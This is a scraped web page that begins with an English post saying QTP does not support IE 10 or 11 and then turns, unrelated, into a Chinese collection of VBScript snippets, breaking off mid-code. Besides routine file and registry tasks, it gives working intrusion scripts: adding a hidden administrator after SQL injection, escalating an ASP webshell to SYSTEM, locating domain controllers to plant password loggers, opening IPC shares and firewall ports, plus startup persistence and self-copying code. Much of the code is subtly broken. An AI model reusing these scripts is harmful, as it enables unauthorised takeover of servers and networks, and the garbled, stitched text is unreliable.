Does QTP support IE 10 or IE 11?

For some reason I’ve received multiple emails this week inquiring as to whether QTP supports IE 10 or IE 11. Rather than send an individual reply for these types of questions, I decided to create a quick resource post to address them.

So, does QTP support IE 11 or 10?

The short answer is NO.

If you want support for the latest and greatest browser versions, you’ll need to bite the bullet and upgrade to the latest version UFT. Here is a table that shows which QTP/UFT versions support which browser versions:

VBS脚本用途很多：

1. 计算
2. 处理文件和文件夹
3. 管理Windows
4. 处理Word, Excel, PowerPoint等Office文档
5. 嵌入网页，驱动dHTML
6. 编写HTTP通信
7. 调用系统功能（COM组件），比如说语音说话
8. 分析HTML, XML
9. 调用命令行并分析返回结果
10. 处理图片
11. 自动化按键
12. 调用Windows Media Player并管理
13. 调用Windows Live Messenger并管理
14. 服务端技术：Active Server Page (ASP)
15. 脚本病毒
16. 处理数据库

下面是我收集的VBS代码，大部分转自gangzi.org，以后还会更新。

VBS获取系统安装路径

先定义这个变量是获取系统安装路径的，然后我们用”&strWinDir&”调用这个变量。

set WshShell = WScript.CreateObject("WScript.Shell")

strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")

VBS获取C:\Program Files路径

msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")

VBS获取C:\Program Files\Common Files路径

msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")

给桌面添加网址快捷方式

set gangzi = WScript.CreateObject("WScript.Shell")

strDesktop = gangzi.SpecialFolders("Desktop")

set ShellLink = gangzi.CreateShortcut(strDesktop & "\Internet Explorer.lnk")

oShellLink.TargetPath = "http://www.fendou.info"

oShellLink.Description = "Internet Explorer"

oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"

oShellLink.Save

给收藏夹添加网址

Const ADMINISTRATIVE_TOOLS = 6

Set bjShell = CreateObject("Shell.Application")

Set bjFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)

Set bjFolderItem = objFolder.Self    

Set bjShell = WScript.CreateObject("WScript.Shell")

strDesktopFld = objFolderItem.Path

Set bjURLShortcut = objShell.CreateShortcut(strDesktopFld & "\奋斗Blog.url")

objURLShortcut.TargetPath = "http://www.fendou.info/"

objURLShortcut.Save

删除指定目录指定后缀文件

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

fso.DeleteFile "C:\*.vbs", True

Set fso = Nothing

VBS改主页

Set Shell = CreateObject("WScript.Shell")

oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.fendou.info"

VBS加启动项

Set Shell=CreateObject("Wscript.Shell")

oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"

VBS复制自己

set copy1=createobject("scripting.filesystemobject")

copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")

复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)

set copy1=createobject("scripting.filesystemobject")

copy1.getfile("game.exe").copy("c:\gangzi.exe")

VBS获取系统临时目录

Dim fso

Set fso = CreateObject("Scripting.FileSystemObject")

Dim tempfolder

Const TemporaryFolder = 2

Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)

Wscript.Echo tempfolder

就算代码出错 依然继续执行

On Error Resume Next

VBS打开网址

Set bjShell = CreateObject("Wscript.Shell")

objShell.Run("http://www.fendou.info/")

VBS发送邮件

NameSpace = "http://schemas.microsoft.com/cdo/configuration/"

Set Email = CreateObject("CDO.Message")

Email.From = "发件@qq.com"

Email.To = "收件@qq.com"

Email.Subject = "Test sendmail.vbs"

Email.Textbody = "OK!"

Email.AddAttachment "C:\1.txt"

With Email.Configuration.Fields

.Item(NameSpace&"sendusing") = 2

.Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com"

.Item(NameSpace&"smtpserverport") = 25

.Item(NameSpace&"smtpauthenticate") = 1

.Item(NameSpace&"sendusername") = "发件人用户名"

.Item(NameSpace&"sendpassword") = "发件人密码"

.Update

End With

Email.Send

VBS结束进程

strComputer = "."

Set bjWMIService = GetObject _

    ("winmgmts:\\" & strComputer & "\root\cimv2")

Set colProcessList = objWMIService.ExecQuery _

    ("Select * from Win32_Process Where Name = 'Rar.exe'")

For Each objProcess in colProcessList

    objProcess.Terminate()

Next

VBS隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用)

createObject("wscript.shell").run "iexplore http://www.fendou.info/",0

兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。

Set bjws=WScript.CreateObject("wscript.shell")

objws.Run """C:\Program Files\Internet Explorer\iexplore.exe""www.baidu.com",vbhide

VBS遍历硬盘删除指定文件名

On Error Resume Next

Dim fPath

strComputer = "."

Set bjWMIService = GetObject _

    ("winmgmts:\\" & strComputer & "\root\cimv2")

Set colProcessList = objWMIService.ExecQuery _

    ("Select * from Win32_Process Where Name = 'gangzi.exe'")

For Each objProcess in colProcessList

    objProcess.Terminate()

Next

Set bjWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colDirs = objWMIService. _

ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'")

Set bjFSO = CreateObject("Scripting.FileSystemObject")

For Each objDir in colDirs

fPath = objDir.Name & "\gangzi.exe"

objFSO.DeleteFile(fPath), True

Next

VBS获取网卡MAC地址

Dim mc,mo

Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")

For Each mo In mc

If mo.IPEnabled=True Then

MsgBox "本机网卡MAC地址是: " & mo.MacAddress

Exit For

End If

Next

VBS获取本机注册表主页地址

Set reg=WScript.CreateObject("WScript.Shell")

startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")

MsgBox startpage

VBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

Co = VbCrLf & "路过。。。"

For Each i In fso.Drives

  If i.DriveType = 2 Then

    GF fso.GetFolder(i & "\")

  End If

Next

Sub GF(fol)

  Wh fol

  Dim i

  For Each i In fol.SubFolders

    GF i

  Next

End Sub

Sub Wh(fol)

  Dim i

  For Each i In fol.Files

    If LCase(fso.GetExtensionName(i)) = "shtml" Then

      fso.OpenTextFile(i,8,0).Write Co

    End If

  Next

End Sub

获取计算机所有盘符

Set fso=CreateObject("scripting.filesystemobject")

Set bjdrives=fso.Drives '取得当前计算机的所有磁盘驱动器

For Each objdrive In objdrives   '遍历磁盘

MsgBox objdrive

Next

VBS给本机所有磁盘根目录创建文件

On Error Resume Next

Set fso=CreateObject("Scripting.FileSystemObject")

Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器

For Each gangzi In gangzis   '遍历磁盘

Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture)

TestFile.WriteLine("By www.gangzi.org")

TestFile.Close

Next

VBS遍历本机全盘找到所有123.exe，然后给他们改名321.exe

set fs = CreateObject("Scripting.FileSystemObject")

for each drive in fs.drives

fstraversal drive.rootfolder

next

sub fstraversal(byval this)

for each folder in this.subfolders

fstraversal folder

next

set files = this.files

for each file in files

if file.name = "123.exe" then file.name = "321.exe"

next

end sub

VBS写入代码到粘贴板（先说明一下，VBS写内容到粘贴板，网上千篇一律都是通过InternetExplorer.Application对象来实现，但是缺点是在默认浏览器为非IE中会弹出浏览器，所以费了很大的劲找到了这个代码来实现）

str=“这里是你要复制到剪贴板的字符串”

Set ws = wscript.createobject("wscript.shell")

ws.run "mshta vbscript.:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true

QQ自动发消息

On Error Resume Next

str="我是笨蛋/qq"

Set WshShell=WScript.CreateObject("WScript.Shell")

WshShell.run "mshta vbscript.:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0

WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true

WScript.Sleep 3000

WshShell.SendKeys "^v"

WshShell.SendKeys "%s"

VBS隐藏文件

Set bjFSO = CreateObject("Scripting.FileSystemObject")

Set bjFile = objFSO.GetFile("F:\软件大赛\show.txt")

If objFile.Attributes = objFile.Attributes AND 2 Then

    objFile.Attributes = objFile.Attributes XOR 2

End If

VBS生成随机数（521是生成规则，不同的数字生成的规则不一样，可以用于其它用途）

Randomize 521

point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))

msgbox join(point,"")

VBS删除桌面IE图标（非快捷方式）

Set Shell = CreateObject("WScript.Shell")

oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"

VBS获取自身文件名

Set fso = CreateObject("Scripting.FileSystemObject")

msgbox WScript.ScriptName

VBS读取Unicode编码的文件

Set bjFSO = CreateObject("Scripting.FileSystemObject")

Set bjFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1)

strText = objFile.ReadAll

objFile.Close

Wscript.Echo strText

VBS读取指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径

set stm2 =createobject("ADODB.Stream")

stm2.Charset = "utf-8"

stm2.Open

stm2.LoadFromFile gangzi

readfile = stm2.ReadText

MsgBox readfile

VBS禁用组策略

Set Shell = CreateObject("WScript.Shell")

oShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins",1,"REG_DWORD"

VBS写指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径，gangzi2是内容变量

gangzi="1.txt"

gangzi2="www.gangzi.org"

Set Stm1 = CreateObject("ADODB.Stream")

Stm1.Type = 2

Stm1.Open

Stm1.Charset = "UTF-8"

Stm1.Position = Stm1.Size

Stm1.WriteText gangzi2

Stm1.SaveToFile gangzi,2

Stm1.Close

set Stm1 = nothing

VBS获取当前目录下所有文件夹名字（不包括子文件夹）

Set fso=CreateObject("scripting.filesystemobject")

Set f=fso.GetFolder(fso.GetAbsolutePathName("."))

Set folders=f.SubFolders

For Each fo In folders

  wsh.echo fo.Name

Next

Set folders=Nothing

Set f=nothing

Set fso=nothing

VBS获取指定目录下所有文件夹名字（包括子文件夹）

Dim t

Set fso=WScript.CreateObject("scripting.filesystemobject")

Set fs=fso.GetFolder("d:\")

WScript.Echo aa(fs)

Function aa(n)

Set f=n.subfolders

For Each uu In f

Set p=fso.GetFolder(uu.path)

t=t & vbcrlf & op.path

Call aa(op)

Next

aa=t

End function

VBS创建.URL文件（IconIndex参数不同的数字代表不同的图标，具体请参照SHELL32.dll里面的所有图标）

set fso=createobject("scripting.filesystemobject")

qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)

qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10)

qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10)

qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)

Set TestFile=fso.CreateTextFile("qq.url",Ture)

TestFile.WriteLine(qidong)

TestFile.Close

VBS写hosts（没写判断，无论存不存在都追加底部）

Set fs = CreateObject("Scripting.FileSystemObject")

path = ""&fs.GetSpecialFolder(1)&"\drivers\etc\hosts"

Set f = fs.OpenTextFile(path,8,TristateFalse)

f.Write ""&vbcrlf&"127.0.0.1 www.g.cn"&vbcrlf&"127.0.0.1 g.cn"

f.Close

VBS读取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace 下面所有键的名字并循环输出

Const HKLM = &H80000002

strPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace"

Set reg = GetObject("Winmgmts:\root\default:StdRegProv")

    oreg.EnumKey HKLM,strPath,arr

    For Each x In arr

        WScript.Echo x

    Next

VBS创建txt文件

Dim fso,TestFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set TestFile=fso.CreateTextFile("C:\hello.txt",Ture)

TestFile.WriteLine("Hello,World!")

TestFile.Close

VBS创建文件夹

Dim fso,fld

Set fso=CreateObject("Scripting.FileSystemObject")

Set fld=fso.CreateFolder("C:\newFolder")

VBS判断文件夹是否存在

Dim fso,fld

Set fso=CreateObject("Scripting.FileSystemObject")

If (fso.FolderExists("C:\newFolder")) Then

msgbox("Folder exists.")

else

set fld=fso.CreateFolder("C:\newFolder")

End If

VBS使用变量判断文件夹

Dim fso,fld

drvName="C:\"

fldName="newFolder"

Set fso=CreateObject("Scripting.FileSystemObject")

If (fso.FolderExists(drvName&fldName)) Then

msgbox("Folder exists.")

else

set fld=fso.CreateFolder(drvName&fldName)

End If

VBS加输入框

Dim fso,TestFile,fileName,drvName,fldName

drvName=inputbox("Enter the drive to save to:","Drive letter")

fldName=inputbox("Enter the folder name:","Folder name")

fileName=inputbox("Enter the name of the file:","Filename")

Set fso=CreateObject("Scripting.FileSystemObject")

If(fso.FolderExists(drvName&fldName))Then

msgbox("Folder exists")

Else

Set fld=fso.CreateFolder(drvName&fldName)

End If

Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)

TestFile.WriteLine("Hello,World!")

TestFile.Close

VBS检查是否有相同文件

Dim fso,TestFile,fileName,drvName,fldName

drvName=inputbox("Enter the drive to save to:","Drive letter")

fldName=inputbox("Enter the folder name:","Folder name")

fileName=inputbox("Enter the name of the file:","Filename")

Set fso=CreateObject("Scripting.FileSystemObject")

If(fso.FolderExists(drvName&fldName))Then

msgbox("Folder exists")

Else

Set fld=fso.CreateFolder(drvName&fldName)

End If

If(fso.FileExists(drvName&fldName&"\"&fileName&".txt"))Then

msgbox("File already exists.")

Else

Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)

TestFile.WriteLine("Hello,World!")

TestFile.Close

End If

VBS改写、追加 文件

Dim fso,openFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set penFile=fso.OpenTextFile("C:\test.txt",2,True)   '1表示只读，2表示可写，8表示追加

openFile.Write "Hello World!"

openFile.Close

VBS读取文件 ReadAll 读取全部

Dim fso,openFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set penFile=fso.OpenTextFile("C:\test.txt",1,True)

MsgBox(openFile.ReadAll)

VBS读取文件 ReadLine 读取一行

Dim fso,openFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set penFile=fso.OpenTextFile("C:\test.txt",1,True)

MsgBox(openFile.ReadLine())

MsgBox(openFile.ReadLine())   '如果读取行数超过文件的行数，就会出错

VBS读取文件 Read 读取n个字符

Dim fso,openFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set penFile=fso.OpenTextFile("C:\test.txt",1,True)

MsgBox(openFile.Read(2))   '如果超出了字符数，不会出错。

VBS删除文件

Dim fso

Set fso=CreateObject("Scripting.FileSystemObject")

fso.DeleteFile("C:\test.txt")

VBS删除文件夹

Dim fso

Set fso=CreateObject("Scripting.FileSystemObject")

fso.DeleteFolder("C:\newFolder") '不管文件夹中有没有文件都一并删除

VBS连续创建文件

Dim fso,TestFile

Set fso=CreateObject("Scripting.FileSystemObject")

For i=1 To 10

Set TestFile=fso.CreateTextFile("C:\hello"&i&".txt",Ture)

TestFile.WriteLine("Hello,World!")

TestFile.Close

Next

VBS根据计算机名随机生成字符串

set ws=createobject("wscript.shell")

set wenv=ws.environment("process")

RDA=wenv("computername")

Function UCharRand(n)

For i=1 to n

Randomize ASC(MID(RDA,1,1))

temp = cint(25*Rnd)

temp = temp +65

UCharRand = UCharRand & chr(temp)

Next

End Function

msgbox UCharRand(LEN(RDA))

VBS根据mac生成序列号

Function Encode(strPass)

   Dim i, theStr, strTmp

   For i = 1 To Len(strPass)

    strTmp = Asc(Mid(strPass, i, 1))

    theStr = theStr & Abs(strTmp)

   Next

   strPass = theStr

   theStr = ""

   Do While Len(strPass) > 16

    strPass = JoinCutStr(strPass)

   Loop

   For i = 1 To Len(strPass)

    strTmp = CInt(Mid(strPass, i, 1))

    strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)

    theStr = theStr & strTmp

   Next

   Encode = theStr

End Function

Function JoinCutStr(str)

   Dim i, theStr

   For i = 1 To Len(str)

    If Len(str) - i = 0 Then Exit For

    theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2))

    i = i + 1

   Next

   JoinCutStr = theStr

End Function

Function IIf(var, val1, val2)

   If var = True Then

    IIf = val1

   Else

    IIf = val2

   End If

End Function

Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")

For Each mo In mc

If mo.IPEnabled=True Then

theStr = mo.MacAddress

Exit For

End If

Next

Randomize Encode(theStr)

rdnum=Int(10*Rnd+5)

Function allRand(n)

  For i=1 to n

    Randomize Encode(theStr)

    temp = cint(25*Rnd)

    If temp mod 2 = 0 then

      temp = temp + 97

    ElseIf temp < 9 then

      temp = temp + 48

    Else

      temp = temp + 65

    End If

    allRand = allRand & chr(temp)

  Next

End Function

msgbox allRand(rdnum)

VBS自动连接adsl

Dim Wsh

Set Wsh = WScript.CreateObject("WScript.Shell")

wsh.run "Rasdial 连接名字 账号 密码",false,1

VBS自动断开ADSL

Dim Wsh

Set Wsh = WScript.CreateObject("WScript.Shell")

wsh.run "Rasdial /DISCONNECT",false,1

VBS每隔3秒自动更换IP并打开网址实例（值得一提的是，下面这个代码中每次打开的网址都是引用同一个IE窗口，也就是每次打开的是覆盖上次打开的窗口，如果需要每次打开的网址都是新窗口，直接使用run就可以了）

Dim Wsh

Set Wsh = WScript.CreateObject("WScript.Shell")

Set IE = CreateObject("InternetExplorer.Application")

for i=1 to 5

wsh.run "Rasdial /DISCONNECT",false,1

wsh.run "Rasdial 连接名字 账号 密码",false,1

oIE.Navigate "http://www.ip138.com/?"&i&""

Call SynchronizeIE

oIE.Visible = True

next

Sub SynchronizeIE

On Error Resume Next

Do While(oIE.Busy)

WScript.Sleep 3000

Loop

End Sub

用VBS来加管理员帐号
在注入过程中明明有了sa帐号，但是由于net.exe和net1.exe被限制，或其它的不明原因，总是加不了管理员帐号。VBS在活动目录（adsi）部份有一个winnt对像，可以用来管理本地资源，可以用它不依靠cmd等命令来加一个管理员，详细代码如下：

set wsnetwork=CreateObject("WSCRIPT.NETWORK")

os="WinNT://"&wsnetwork.ComputerName

Set b=GetObject(os) '得到adsi接口,绑定

Set e=GetObject(os&"/Administrators,group") '属性,admin组

Set d=ob.Create("user","lcx") '建立用户

od.SetPassword "123456" '设置密码

od.SetInfo '保存

Set f=GetObject(os&"/lcx",user) '得到用户

oe.add os&"/lcx"

这段代码如果保存为1.vbs，在cmd下运行，格式: cscript. 1.vbs的话，会在当前系统加一个名字为lcx，密码为123456的管理员。当然，你可以用记事本来修改里边的变量lcx和123456，改成你喜欢的名字和密码值。

用vbs来列虚拟主机的物理目录
有时旁注入侵成功一个站，拿到系统权限后，面对上百个虚拟主机，怎样才能更快的找到我们目标站的物理目录呢？一个站一个站翻看太累，用系统自带的adsutil.vbs吧又感觉好像参数很多，有点无法下手的感觉，试试我这个脚本吧，代码如下：

Set bjService=GetObject("IIS://LocalHost/W3SVC")

For Each obj3w In objservice

If IsNumeric(obj3w.Name) Then

sServerName=Obj3w.ServerComment

Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")

ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf

End If

Next

WScript.Echo ListAllWeb

Set bjService=Nothing

WScript.Quit

运行cscript. 2.vbs后，就会详细列出IIS里的站点ID、描述、及物理目录，是不是代码少很多又方便呢？

用VBS快速找到内网域的主服务器
面对域结构的内网，可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码，整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上，如果能搞定其中的一台或几台，放个密码记录器之类，相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了，如何在成千台机器里判断出是哪一台呢？dos命令像net group “domain admins” /domain可以做为一个判断的标准，不过vbs也可以做到的，这仍然属于adsi部份的内容，代码如下：

set bj=GetObject("LDAP://rootDSE")

wscript.echo obj.servername

只用这两句代码就足够了，运行cscript. 3.vbs，会有结果的。当然，无论是dos命令或vbs，你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码，你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell，或你的木马本来就是与桌面交互的，登陆你木马shell的又是域用户，就可以直接运行这些命令了。
vbs的在入侵中的作用当然不只这些，当然用js或其它工具也可以实现我上述代码的功能；不过这个专栏定下的题目是vbs在hacking中的妙用，所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目，争取为读者带来好的有用的文章。

WebShell提权用的VBS代码
asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下:

set wsh=createobject("wscript.shell") '创建一个wsh对象

a=wsh.run ("cmd.exe /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0) '加入asp.dll到InProcessIsapiApps中

将其保存为vbs的后缀,再上传到服务上，
然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧，你会发现自己己经是system权限了

VBS开启ipc服务和相关设置

Dim OperationRegistry

Set perationRegistry=WScript.CreateObject("WScript.Shell")

OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0

Set wsh3=wscript.createobject("wscript.shell")

wsh3.Run "net user helpassistant 123456",0,false

wsh3.Run "net user helpassistant /active",0,false

wsh3.Run "net localgroup administrators helpassistant /add",0,false

wsh3.Run "net start Lanmanworkstation /y",0,false

wsh3.Run "net start Lanmanserver /y",0,false

wsh3.Run "net start ipc$",0,True

wsh3.Run "net share c$=c:\",0,false

wsh3.Run "netsh firewall set notifications disable",0,True

wsh3.Run "netsh firewall set portopening TCP 139 enable",0,false

wsh3.Run "netsh firewall set portopening UDP 139 enable",0,false

wsh3.Run "netsh firewall set portopening TCP 445 enable",0,false

wsh3.Run "netsh firewall set portopening UDP 445 enable",0,false

VBS时间判断代码

Digital=time

    hours=Hour(Digital)

    minutes=Minute(Digital)

    seconds=Second(Digital)

    if (hours<6) then

        dn="凌辰了，还没睡啊？"

    end if

    if (hours>=6) then

        dn="早上好！"

    end if

    if (hours>12) then

        dn="下午好！"

    end if

    if (hours>18) then

        dn="晚上好！"

    end if

    if (hours>22) then

        dn="不早了，夜深了，该睡觉了！"

    end if

    if (minutes<=9) then

        minutes="0" & minutes

    end if

    if (seconds<=9) then

        seconds="0" & seconds

    end if

ctime=hours & ":" & minutes & ":" & seconds & " " & dn

Msgbox ctime

VBS注册表读写

Dim OperationRegistry , mynum

Set perationRegistry=WScript.CreateObject("WScript.Shell")

mynum = 9

mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")

MsgBox("before forceguest = "&mynum)

OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0

mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")

MsgBox("after forceguest = "&mynum)

VBS运行后删除自身代码

dim fso,f

Set fso = CreateObject("Scripting.FileSystemObject")

f = fso.DeleteFile(WScript.ScriptName)

WScript.Echo( WScript.ScriptName)

文件系统是所有操作系统最重要的部分之一，脚本经常会需要对文件及文件夹进行访问和管理，在Vbs中对桌面和文件系统进行访问的顶级对象是FileSystemObject(FSO)，这个对象特别复杂，是vbs进行文件操作的核心。

       FSO包含的常见对象有：

       如何使用FSO

       要用FSO对象模型来编程，使用CreateObject方法来创建FileSystemObject对象，例如：　　

?

在这个示例中，Scripting 是类型库的名字，而 FileSystemObject 则是想要创建的对象的名字。至此我们获取了fso对象，接下来就可以使用fso对象了。如果要释放的话也很简单，例如：

?

       FileSystemObject对象总共一个属性即Drives

       描述：获得所有可用驱动器的集合。

       说明：无论是否本地磁盘、插入媒体、可移动媒体驱动器都显示在 Drives 集合中。

       具体示例代码如下所示：获取本计算机上所有的磁盘的盘符　　

?

 　　方法：(仅常用的方法)

　　CreateFile

       描述：创建一个空文件

       语法：object. CreateTextFile(strFile,blnOverWrite)

       参数：strFile为文件名称

               blnOverWrite为Ture强制覆盖，为False不覆盖

       示例：创建文件C:\test.txt

?

　　CreateFolder

       描述：创建一个空的文件夹

       语法：object. CreateFolder(strFolder)

       参数：strFolder为想要创建的文件夹名称

       示例：创建文件夹: c:\test

?

　　DeleteFile

       描述：删除一个文件

       语法：object. DeleteFile (strFile，force)

       参数：strFile为想要删除的文件。组成部分中可用通配符。

               force如果要删除只读文件，则该值为 True；否则为 False（默认）

       示例：删除文件： c:\test.txt 　　

?

　　DeleteFolder

       描述：删除一个文件夹

       语法：object. DeleteFolder(strFolder，force)

       参数：strFolder为想要删除的文件夹名称。组成部分中可用通配符。

               force如果要删除只读文件夹，则该值为 True；否则为 False（默认）

       示例：删除文件夹： c:\test

?

　　FileExists

       描述：判断指定文件是否存在

       语法：object. FileExists (strFile)

       参数：strFile为指定的文件

       示例：检查文件： c:\test.txt是否存在

?

　　FolderExist

       描述：判断指定文件夹是否存在

       语法：object. FolderExists (strFolder)

       参数：strFolder为指定的文件夹

       示例：检查文件夹： c:\test是否存在

?

　　CopyFile

       描述：将一个或多个文件从某位置复制到另一位置

       语法：object.CopyFile "source", "destination"[, overwrite]

       参数：source必选项。表示指定文件的路径。组成部分中可用通配符。

destination必选项。表示目标位置路径

overwrite可选项。Boolean 值表明是否覆盖现有文件。如果是 True，则覆盖文件；如果是 False，则不覆盖现有文件。默认值是 True

       示例：将 c:\test.txt文件复制到D:\下

?

        示例：将 c:\下所有的txt文件复制到D:\下

?

　　CopyFolder

       描述：将文件夹从某位置复制到另一位置

       语法：object. CopyFolder "source", "destination"[, overwrite]

       参数：source必选项。表示指定文件夹的路径。组成部分中可用通配符。

destination必选项。表示目标位置的路径

overwrite可选项。Boolean 值表明是否覆盖现有文件夹。如果是 True，则覆盖文件夹；如果是 False，则不覆盖现有文件夹。默认值是 True

       示例：将 c:\test文件夹复制到D:\下    

?

　　MoveFile

描述：将一个或多个文件从某位置移动到另一位置

语法：object.MoveFile source, destination

参数：source必选项。要移动的文件的路径。组成部分中可用通配符。

destination必选项。指定路径，表示要将文件移动到该目标位置。destination 参数不能包含通配符。

示例：将 c:\test文件夹移动到D:\下

?

　　MoveFolder

描述：将一个或多个文件夹从某位置移动到另一位置

语法：object.MoveFolder source, destination

参数：source必选项。要移动的文件夹的路径。组成部分中可用通配符。

destination必选项。指定路径，表示要将文件夹移动到该目标位置。

示例：

?

　　GetExtensionName

描述：获取文件后缀名

语法：object.MoveFolder source, destination

参数：source必选项。要移动的文件夹的路径。组成部分中可用通配符。

destination必选项。指定路径，表示要将文件夹移动到该目标位置。

示例：获取”c:\test.txt”文件后缀名

?

　　GetBaseName

描述：获取文件当前所在文件夹

语法：object.GetBaseName Path

参数：Path必选项。文件路径名。

示例：获取”c:\test.txt”文件名称

?

　　GetParentFolderName

描述：将一个或多个文件夹从某位置移动到另一位置

语法：object.GetParentFolderName Path

参数：Path必选项。文件路径名。

示例：获取”c:\test.txt”文件所在的文件夹

?

文件操作有:size,type(内型),DateCreaded(创建时间),DatelastAccessed(最近访问时间), DatelastModified(最近修改时间),name(名称),shortPath(文件短路名),path(物理地址),

vbs脚本压缩解压代码参考，虽然未必能用到，但是参考学习还是可以的
vbs脚本压缩代码
Zip "D:\test.iso", "D:\test.zip"
Zip "D:\test", "D:\test.zip"
Msgbox "OK"
Sub Zip(ByVal mySourceDir, ByVal myZipFile)
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.GetExtensionName(myZipFile) <> "zip" Then
Exit Sub
ElseIf fso.FolderExists(mySourceDir) Then
FType = "Folder"
ElseIf fso.FileExists(mySourceDir) Then
FType = "File"
FileName = fso.GetFileName(mySourceDir)
FolderPath = Left(mySourceDir, Len(mySourceDir) - Len(FileName))
Else
Exit Sub
End If
Set f = fso.CreateTextFile(myZipFile, True)
f.Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0))
f.Close
Set bjShell = CreateObject("Shell.Application")
Select Case Ftype
Case "Folder"
Set bjSource = objShell.NameSpace(mySourceDir)
Set bjFolderItem = objSource.Items()
Case "File"
Set bjSource = objShell.NameSpace(FolderPath)
Set bjFolderItem = objSource.ParseName(FileName)
End Select
Set bjTarget = objShell.NameSpace(myZipFile)
intOptions = 256
